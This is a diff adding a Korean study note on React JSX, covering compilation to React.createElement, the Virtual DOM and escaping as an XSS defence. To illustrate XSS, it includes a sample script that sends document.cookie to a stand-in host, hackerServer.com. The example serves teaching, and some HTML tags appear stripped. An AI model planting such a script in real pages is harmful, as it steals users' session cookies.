diff --git a/joon/JSX/content.md b/joon/JSX/content.md new file mode 100644 index 0000000..28b32c6 --- /dev/null +++ b/joon/JSX/content.md @@ -0,0 +1,119 @@ +## JSX + +> JavaScript XML + +- `JavaScript`를 확장한 문법 +- UI 설명을 위해 `React`와 함께 사용하는 것을 권장 +- `camelCase` 사용 +- JSX는 `React Element`를 생성한다. + +```jsx +/* 1 */ +const element =

Hello, world!

; + +/* 2 */ +const element = React.createElement( + "h1", + { className: "greeting" }, + "Hello, world!" +); + +// 1,2는 같은 코드 +``` + +- JSX의 중괄호 안에는 모든 JavaScript 표현식을 넣을 수 있음 + +```tsx +const Component = () => { + const innerString = "hello world!"; + return
{innerString}
; +}; +``` + +- JSX에서 **여는 태그와 닫는 태그**가 있는 JSX 표현에서 두 태그 사이의 내용은 `props.children`이라는 특수한 prop으로 넘겨짐 + - JavaScript 표현식이나 JSX(다른 컴포넌트?)를 자식으로 전달할 수 있음 + - **boolean, null, undefined는 무시** + +### JSX 변환 과정 + +1. JSX 코드 작성 + 1. HTML 태그 등 UI와 관련된 코드를 JS와 함께 작성 +2. `Babel(컴파일러)`에 의해 일반 JavaScript 코드로 변환됨 + + 1. 이 과정에서 JSX 문법이 `React.createElement()` 함수 호출로 변환됨 + + ```tsx + // JSX +
hello world!
; + + // 컴파일러를 통해 변환된 코드 + React.createElement("div", null, "Hello world!"); + // param은 순서대로 어떤 엘리먼트인지, 속성은 무엇인지, 내용은 무엇인지 + ``` + + 2. 즉, `React.createElement`를 통해 `React Element` 반환 + +3. 이후, React 동작 방식에 따라 `Virtual DOM`과 비교하여 `Real DOM`에 반영되어 렌더링 + +→ React는 이렇게 생성된 객체들로 **DOM을 구성하고 최신 상태로 유지**하는데 사용함 + +- Virtual DOM과 비교하여 변경 사항들을 비교하여 Real DOM에 반영하는 것을 의미하는듯 + +### 사용 이유 + +- 컴포넌트의 구조와 UI가 더 직관적으로 이해되며, 코드 가독성이 향상됨 + - HTML과 유사한 문법을 사용하여 한눈에 코드를 볼 수 있기 때문 + - **즉, 마크업과 UI 로직을 둘 다 포함하여 개발을 할 수 있다.** +- UI를 작은 컴포넌트로 분할하여 관리하고 재사용 가능한 요소로 만들 수 있음 + - 각 컴포넌트 분리를 위해 React Element 객체 단위로 개발을 할 수 있기 때문 + - **즉, 컴포넌트 별로 분류하여 유지보수를 쉽게 할 수 있다.** +- Virtual DOM과 함께 사용되어 UI 업데이트를 효율적으로 처리하여 성능 최적화 + - 각 컴포넌트에서 JSX를 통해 React Element를 return하여 Virtual DOM 구성이 용이해지고, 기존의 Virtual DOM과 빠르게 비교할 수 있기 때문인듯 +- XSS (Cross-Site-Scripting) 공격 방지 가능 + + - React DOM은 JSX에 삽입된 모든 값을 렌더링하기 전에 이스케이프하기 때문 + + ```html + + + + <script> let xmlHttp = new XMLHttpRequest(); const url = + "http://hackerServer.com?victimCookie=" + document.cookie; + xmlHttp.open("GET", url); xmlHttp.send(); </script> + ``` + + - 렌더링 전, 이스케이프를 거쳐 모든 항목들이 문자열로 변환되기 때문에 XSS 공격을 방지할 수 있다. + +--- + +### 이스케이프(Escape)란? + +> 특정 문자를 **원래의 기능에서 벗어나게 변환하는 행위** + +```tsx +&은 &로 +<은 <로 +>은 >로 +"은 "로 +'은 '로 +띄어쓰기는  로 +``` + +### **XSS(Cross Site Scripting)** + +- XSS는 블로그나 게시판 같은 서비스에서 주로 일어나며 여러 사람들이 보는 글에 스크립트를 주입해서 사용자의 정보(쿠키, 세션)를 탈취하거나 비정상적인 기능을 수행하게 한다. + + - 예시 + + 1. 게시판에 글 대신 유저의 쿠키 정보를 전송하는 스크립트 코드를 작성 + + 유저가 해당 글에 접근했을때, 코드가 실행 + + 쿠키 정보가 해커에게 전달 + + 2. `` 태그 등을 삽입하여 원본 페이지와는 전혀 관련 없는 페이지를 노출